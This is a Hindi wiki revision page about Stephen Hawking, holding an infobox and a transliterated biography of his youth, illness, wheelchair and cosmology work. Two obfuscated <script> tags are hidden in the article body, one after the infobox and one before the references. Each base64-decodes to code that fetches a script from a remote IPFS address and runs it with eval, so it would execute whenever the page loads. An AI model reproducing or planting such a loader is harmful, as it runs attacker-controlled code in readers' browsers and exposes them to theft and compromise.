Difference between revisions of "स्टीफन हॉकिंग"
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{{पुनरीक्षण}} | {{पुनरीक्षण}} | ||
| + | {{सूचना बक्सा राजनीतिज्ञ | ||
| + | |चित्र=stephen_hawking.jpg | ||
| + | |पूरा नाम=स्टीफन विलियम हॉकिंग | ||
| + | |अन्य नाम= | ||
| + | |जन्म=[[8 जनवरी]], [[1942]] | ||
| + | |जन्म भूमि=इंग्लैंड के ऑक्सफोर्ड में | ||
| + | |अविभावक= | ||
| + | |पति/पत्नी=जेने वाइल्ड | ||
| + | |संतान= | ||
| + | |मृत्यु= | ||
| + | |मृत्यु स्थान= | ||
| + | |मृत्यु कारण= | ||
| + | |स्मारक= | ||
| + | |क़ब्र= | ||
| + | |नागरिकता= | ||
| + | |प्रसिद्धि=थ्योरी ऑफ 'बिग-बैंग' और 'ब्लैक होल्स' की नई परिभाषा गढे | ||
| + | |पार्टी= | ||
| + | |पद=कैम्ब्रिज यूनिवर्सिटी में मैथेमैटिक्स के प्रोफेसर | ||
| + | |भाषा=[[अंग्रेज़ी भाषा|अंग्रेज़ी]] | ||
| + | |जेल यात्रा= | ||
| + | |कार्य काल= | ||
| + | |विद्यालय=कैम्ब्रिज यूनिवर्सिटी | ||
| + | |शिक्षा=कॉस्मोलॉजी में पी.एच.डी.. रिचर्स फैलो प्रोफेशनल फैलो | ||
| + | |पुरस्कार-उपाधि= | ||
| + | |विशेष योगदान=वे रॉयल सोसायटी और यूएस नेशनल एकेडमी ऑफ साइंसेज के एक सम्मानित मेंबर | ||
| + | |संबंधित लेख=किताब- ए ब्रीफ हिस्ट्री ऑव टाइम | ||
| + | |शीर्षक 1= | ||
| + | |पाठ 1= | ||
| + | |शीर्षक 2= | ||
| + | |पाठ 2= | ||
| + | |अन्य जानकारी= | ||
| + | |बाहरी कड़ियाँ= | ||
| + | |अद्यतन= | ||
| + | }} | ||
| + | |||
महान वैज्ञानिक 68 बरस के स्टीफन विलियम हॉकिंग कैम्ब्रिज यूनिवर्सिटी में एप्लाइड मैथेमैटिक्स के प्रोफेसर हैं। उन्हें लुकासियन प्रोफेसर ऑफ मैथेमेटिक्स भी कहा जाता है। यह वही पद है जिस पर कभी न्यूटन थे। 'कर खुदी को इतना बुलंद कि खुदा बंदे से पूछे बता तेरी रजा क्या है' यह उक्ति ब्रिटेन के ख्यात वैज्ञानिक स्टीफन हॉकिंग पर पूरी तरह सटीक बैठती है। तभी तो नब्बे फीसदी विकलांग होने के बावजूद उनकी क्षमता का लोहा पूरी दुनिया मानती है। | महान वैज्ञानिक 68 बरस के स्टीफन विलियम हॉकिंग कैम्ब्रिज यूनिवर्सिटी में एप्लाइड मैथेमैटिक्स के प्रोफेसर हैं। उन्हें लुकासियन प्रोफेसर ऑफ मैथेमेटिक्स भी कहा जाता है। यह वही पद है जिस पर कभी न्यूटन थे। 'कर खुदी को इतना बुलंद कि खुदा बंदे से पूछे बता तेरी रजा क्या है' यह उक्ति ब्रिटेन के ख्यात वैज्ञानिक स्टीफन हॉकिंग पर पूरी तरह सटीक बैठती है। तभी तो नब्बे फीसदी विकलांग होने के बावजूद उनकी क्षमता का लोहा पूरी दुनिया मानती है। | ||
Revision as of 11:50, 27 October 2011
| chitr:Icon-edit.gif | is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav" |
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stiphan h aaukiang
| |
| poora nam | stiphan viliyam h aaukiang |
| janm | 8 janavari, 1942 |
| janm bhoomi | ianglaiand ke aauksaphord mean |
| pati/patni | jene vaild |
| prasiddhi | thyori aauph 'big-baiang' aur 'blaik hols' ki nee paribhasha gadhe |
| pad | kaimbrij yoonivarsiti mean maithemaitiks ke prophesar |
| shiksha | k aausmol aauji mean pi.ech.di.. richars phailo propheshanal phailo |
| vidyalay | kaimbrij yoonivarsiti |
| bhasha | aangrezi |
| vishesh yogadan | ve r aauyal sosayati aur yooes neshanal ekedami aauph saiansej ke ek sammanit meanbar |
| sanbandhit lekh | kitab- e briph histri aauv taim |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mahan vaijnanik 68 baras ke stiphan viliyam h aaukiang kaimbrij yoonivarsiti mean eplaid maithemaitiks ke prophesar haian. unhean lukasiyan prophesar aauph maithemetiks bhi kaha jata hai. yah vahi pad hai jis par kabhi nyootan the. 'kar khudi ko itana buland ki khuda bande se poochhe bata teri raja kya hai' yah ukti briten ke khyat vaijnanik stiphan h aaukiang par poori tarah satik baithati hai. tabhi to nabbe phisadi vikalaang hone ke bavajood unaki kshamata ka loha poori duniya manati hai.
mahan vaijnanik stiphan viliyam h aaukiang par 'jiteandr' shabd bilkul satik baithata hai. kyoanki jo motar nyoor aaun dijij se pidi़t hokar bhi nyootan aur aianstin ki biradari mean shamil ho ge hoan, unake lie isase makool shabd koee ho hi nahian sakata. aj samaj mean aise kam hi log milate haian, jinhoanne apani iandriyoan par vijay paee ho. asal mean jo log is karaname ko kar-gujarate haian, ve hi sahi mayane mean 'jiteandr' kahalate haian. stiphan h aaukiang bhi aise 'jiteandr' haian, jinhoanne iandriyoan ko prayatn karake apane vash mean nahian kiya hai, balki unaki iandriyaan khud-b-khud unaka sath chho d chuki hai.
praranbhik jivan
stiphan viliyam h aaukiang ka janm 8 janavari 1942 ko ianglaiand ke aauksaphord mean hua tha. gauratalab hai ki yahi vah tarikh thi, jis din mahan vaijnanik gaililiyo ka bhi janm hua tha. unake mata-pita ka ghar uttari landan mean tha. lekin dvitiy vishvayuddh ke dauran landan ki apeksha aauksaphord adhik surakshit tha, jisake karan h aaukiang ka parivar aauksaphord mean bas gaya. jab ve ath sal ke the to ve uttari landan se bis mil door seant alabeans mean bas ge. 11 sal ki umr tak unhoanne seant elabeans skool mean padhaee ki. phir ve aauksaphord ke yoonivarsiti k aaulej chale ge. unaki ruchi bachapan se maithametiks mean thi, lekin pita unhean d aauktar banana chahate the. chooanki unake pita khud ek d aauktar the aur isilie ve aisa chahate the. par sanyogavash unaki age ki padhaee phijiks vishay mean huee kyoki un dinoan k aaulej mean maikthamaitiks ki padhaee upalabdh nahian thi aur dhire-dhire isi vishay se k aausmol aauji sekshan mean padhaee ki.
chooanki ve ek medhavi chhatr the, isalie skool aur k aaulej mean hamesha avval ate rahe. tin saloan mean hi unhean prakriti vijnan mean pratham shreni ki aaunars ki digri mili. jo ki unake pita ke lie kisi khvab ke poora hone se kam nahian tha. maithametiks ko priy vishay manane vale stiphan h aaukiang mean b de hokar aantariksh-vijnan mean ek khas ruchi jagi. yahi vajah tha ki jab ve mahaj 20 varsh ke the, kaianbrij k aausmol aauji vishay mean risarch ke lie chun lie ge. aauksaphord mean koee bhi brahmaand vijnan mean kam nahian kar raha tha unhoanne isamean shodh karane ki thani aur sidhe pahuanch ge kaimbrij. vahaan unhone k aausmol aauji yani brahmaand vijnan mean shodh kiya. isi vishay mean unhoanne pi.ech.di. bhi ki. apani pi.ech.di. karane ke bad j aaunavile aur kyoos k aaulej ke pahale richars phailo aur phir bad mean propheshanal phailo bane. yah unake lie bahut b di upalabghi thi. lekin h aaukiang ne vahi kiya jo ve chahate the. sanyukt parivar mean bharosa rakhane vale h aaukiang aj bhi apane tin bachchoan aur ek pote ke sath rahate haian.
- sahapathi aur tichar kahalate the aianstin
stiphan ke aandar ek gret saiantist ki kvaliti bachapan se hi dikhaee dene lagi thi. darasal, kisi bhi chij ke nirman aur usaki kary-pranali ko lekar unake aandar tivr jijnasa rahati thi. yahi vajah thi ki jab ve skool mean the, to unake sabhi sahapathi aur tichar unhean pyar se 'aianstin' kahakar bulate the.
h aaukiang ki saralata ka aandaja isi se lagaya ja sakata hai ki ek or ve sudoor aantariksh ke rahasy sulajhate haian to doosari or tivi par bhi najar ate haian. briten ke kee chainaloan ne unhean lekar kee progam banae haian. saiddhaantik bhautiki, aantariksh vijnan se lekar kartoonoan aur bachchoan ki kalpanik aur komal duniya mean bhi ve b di asani se ghoom ate haian.
stiphan h aaukiang ki bimari
h aaukiang ke jajbe ko unake d aauktaroan se lekar poori duniya shish navati hai. h aaukiang ka sharir bhale hi unaka sath nahian de pata hai lekin apane dimag ke karan unaki tulana aiansatain ke samatuly ki jati hai. h aaukiang ka aeekyoo 160 hai. jo ki aeekyoo ka uchchatam star hai. ve ek n thik hone vali bimari yani stiph motar nyoor aaun dijij nam ki ek ऎsi bimari se pidit haian. jisamean marij dhire-dhire sharir ke kisi bhi aang par apana niyantran kho deta hai aur iansan samany dhang se bol ya chal nahian sakata hai. darasal, chikitsakoan ko jab is bimari ka pata chala, to unhoanne yahaan tak kah dala tha ki ab stiphan h aaukiang jyada dinoan tak nahian jianda rah sakeange. lekin unhoanne kabhi bhi apani bimari ko kamajori nahian banane diya.
jab h aaukiang 21 sal ke the to unhean emyotrophik letaral skaloresis nam bimari ki vajah se lakava mar gaya tha. h aaukiang ko jab yah pata chala ki ve motar nyoor aaun dijij se pidi़t haian, to unhean dukh jaroor hua, lekin himmat nahian hari. darasal, unhean yah nahian samajh mean a raha tha ki ve shesh jivan ko kaise aur kis makasad ke sath jiean! aise mean unhean ek hi bat soojhi aur vah ki chahe kitani bhi buri paristhiti ae, use poori jiandadili ke sath jio.
yahi karan hai ki unhoanne n keval jene vaild namak apani premika se shadi ki, balki apani padhaee ko bhi age jari rakha. halaanki, yah sab karana asani se sanbhav nahian tha. kyoanki unake aangoan ne unaka sath chho d diya tha aur dhire-dhire unaki juban bhi band ho gee. ab ve n chal-phir sakate the aur n hi apani bat ko bolakar kisi se sheyar hi kar sakate the. aantat: vah samay bhi aya, jab d aauktaroan ne vhil-cheyar ke sahare shesh jivan gujarane ki salah de di.
stiphan h aaukiang ka vhil-cheyar
halaanki yah koee samany vhilacheyar nahian hai, balki isamean ve sare ikvipameanthïs lage hue haian, jinake madhyam se ve vijnan ke anasulajhe rahasyoan ke bare mean duniya ko bata sakate haian. unaki vhil cheyar ke sath ek vishesh kampyootar aur spich sianthesaijar laga hua hai. jisake sahare ve poori duniya se bat karate haian. h aaukiang ka sistam ianphrared bliank svich se ju da hua hai. jo unake chashme mean lagaya gaya hai. isi ke madhyam se ve bolate haian. isake alava unake ghar aur aauphis ke get rediyo traansamishan se ju da hua hai.
h aaukiang ka jajba ऎsa hai ki ve pichhale kee dashakoan se apani vhil cheyar par baithe-baithe aantariksh vijnan ki jatil paheliyoan aur rahasyoan ko sulajha rahe haian. isamean ve kaphi had tak saphal bhi rahe. blaik hol ko lekar h aaukiang ki thyori b di majedar hai. isamean h aaukiang ne kaha hai ki brahmaand mean blaik hol ka astitv to hai lekin ve hamesha kale nahian hote. isaka matalab yah hai ki blaik hol mean anivary roop se gum ho jane vali oorja aur samast dravyaman unase nee oorja ke roop mean prasphutit hote rahate haian. vikhyat bhautikavid aiansatain ki ek tippani par ve kameant karate hue kahate haian ki eeshvar n sirph bakhoobi jua khelata hai balki usake pheanke ge pase ऎsi jagah girate haian jahaan ve hamean dikhate nahian haian. h aaukiang duniya ke lie kitane mahatvapoorn haian isaka aandaja isi se lagaya ja sakata hai ki ve jab bhi kuchh bolate ya likhate haian to duniya bhar ki midiya ki najar mean chha jate haian.
stiphan h aaukiang ek mahan vaijnanik
darasal, jis kshetr mean yogadan ke lie stiphan h aaukiang yad kiya jata hai, vah k aausmol aauji hi hai. k aausmol aauji, jisake aantargat brahmaand ki utpatti, sanrachana aur spes-taim rileshanaship ke bare mean adhyayan kiya jata hai. aur isilie unhean k aausmol aauji ka visheshajn mana jata hai, jisaki badaulat ve thyori aauph 'big-baiang' aur 'blaik hols' ki nee paribhasha gadh pane mean kamayab ho sake haian. stiphan ki charchit kitab- e briph histri aauv taim aj bhi duniya ki sabase amooly pustakoan mean se ek hai.
ullekhaniy hai ki unake yogadanoan ke karan unhean ab tak lagabhag barah sammanit puraskaroan se navaja ja chuka hai. isake alava, ve r aauyal sosayati aur yooes neshanal ekedami aauph saiansej ke ek sammanit meanbar bhi haian.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh